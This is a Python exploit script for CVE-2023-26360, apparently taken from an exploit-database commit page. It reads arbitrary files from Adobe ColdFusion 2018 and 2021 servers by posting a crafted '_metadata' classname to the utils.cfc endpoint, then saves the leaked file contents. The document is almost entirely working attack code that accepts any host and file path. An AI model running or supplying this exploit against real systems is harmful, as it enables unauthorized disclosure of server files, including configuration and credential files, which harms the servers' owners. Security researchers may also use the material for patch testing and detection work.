ce58678266
7 changes to exploits/shellcodes/ghdb Sitecore - Remote Code Execution v8.2 Hitachi NAS (HNAS) System Management Unit (SMU) Backup & Restore < 14.8.7825.01 - IDOR Adobe ColdFusion versions 2018_15 (and earlier) and 2021_5 and earlier - Arbitrary File Read WordPress Plugin Duplicator < 1.5.7.1 - Unauthenticated Sensitive Data Exposure to Account Takeover Microsoft Windows Defender / Trojan.Win32/Powessere.G - Detection Mitigation Bypass
81 lines
No EOL
3.6 KiB
Python
Executable file
81 lines
No EOL
3.6 KiB
Python
Executable file
# Exploit Title: File Read Arbitrary Exploit for CVE-2023-26360
|
|
# Google Dork: [not]
|
|
# Date: [12/28/2023]
|
|
# Exploit Author: [Youssef Muhammad]
|
|
# Vendor Homepage: [
|
|
https://helpx.adobe.com/coldfusion/kb/coldfusion-downloads.html]
|
|
# Software Link: [
|
|
https://drive.google.com/drive/folders/17ryBnFhswxiE1sHrNByxMVPKfUnwqmp0]
|
|
# Version: [Adobe ColdFusion versions 2018,15 (and earlier) and 2021,5 and
|
|
earlier]
|
|
# Tested on: [Windows, Linux]
|
|
# CVE : [CVE-2023-26360]
|
|
|
|
import sys
|
|
import requests
|
|
import json
|
|
|
|
BANNER = """
|
|
██████ ██ ██ ███████ ██████ ██████ ██████ ██████ ██████ ██████ ██████ ██████ ██████
|
|
██ ██ ██ ██ ██ ██ ████ ██ ██ ██ ██ ██ ██ ██ ████
|
|
██ ██ ██ █████ █████ █████ ██ ██ ██ █████ █████ █████ █████ ███████ █████ ███████ ██ ██ ██
|
|
██ ██ ██ ██ ██ ████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ████ ██
|
|
██████ ████ ███████ ███████ ██████ ███████ ██████ ███████ ██████ ██████ ██████ ██████
|
|
"""
|
|
|
|
RED_COLOR = "\033[91m"
|
|
GREEN_COLOR = "\032[42m"
|
|
RESET_COLOR = "\033[0m"
|
|
|
|
def print_banner():
|
|
print(RED_COLOR + BANNER + " Developed by SecureLayer7" + RESET_COLOR)
|
|
return 0
|
|
|
|
def run_exploit(host, target_file, endpoint="/CFIDE/wizards/common/utils.cfc", proxy_url=None):
|
|
if not endpoint.endswith('.cfc'):
|
|
endpoint += '.cfc'
|
|
|
|
if target_file.endswith('.cfc'):
|
|
raise ValueError('The TARGET_FILE must not point to a .cfc')
|
|
|
|
targeted_file = f"a/{target_file}"
|
|
json_variables = json.dumps({"_metadata": {"classname": targeted_file}, "_variables": []})
|
|
|
|
vars_get = {'method': 'test', '_cfclient': 'true'}
|
|
uri = f'{host}{endpoint}'
|
|
|
|
response = requests.post(uri, params=vars_get, data={'_variables': json_variables}, proxies={'http': proxy_url, 'https': proxy_url} if proxy_url else None)
|
|
|
|
file_data = None
|
|
splatter = '<!-- " ---></TD></TD></TD></TH></TH></TH>'
|
|
|
|
if response.status_code in [404, 500] and splatter in response.text:
|
|
file_data = response.text.split(splatter, 1)[0]
|
|
|
|
if file_data is None:
|
|
raise ValueError('Failed to read the file. Ensure the CFC_ENDPOINT, CFC_METHOD, and CFC_METHOD_PARAMETERS are set correctly, and that the endpoint is accessible.')
|
|
|
|
print(file_data)
|
|
|
|
# Save the output to a file
|
|
output_file_name = 'output.txt'
|
|
with open(output_file_name, 'w') as output_file:
|
|
output_file.write(file_data)
|
|
print(f"The output saved to {output_file_name}")
|
|
|
|
if __name__ == "__main__":
|
|
if not 3 <= len(sys.argv) <= 5:
|
|
print("Usage: python3 script.py <host> <target_file> [endpoint] [proxy_url]")
|
|
sys.exit(1)
|
|
|
|
print_banner()
|
|
|
|
host = sys.argv[1]
|
|
target_file = sys.argv[2]
|
|
endpoint = sys.argv[3] if len(sys.argv) > 3 else "/CFIDE/wizards/common/utils.cfc"
|
|
proxy_url = sys.argv[4] if len(sys.argv) > 4 else None
|
|
|
|
try:
|
|
run_exploit(host, target_file, endpoint, proxy_url)
|
|
except Exception as e:
|
|
print(f"Error: {e}") |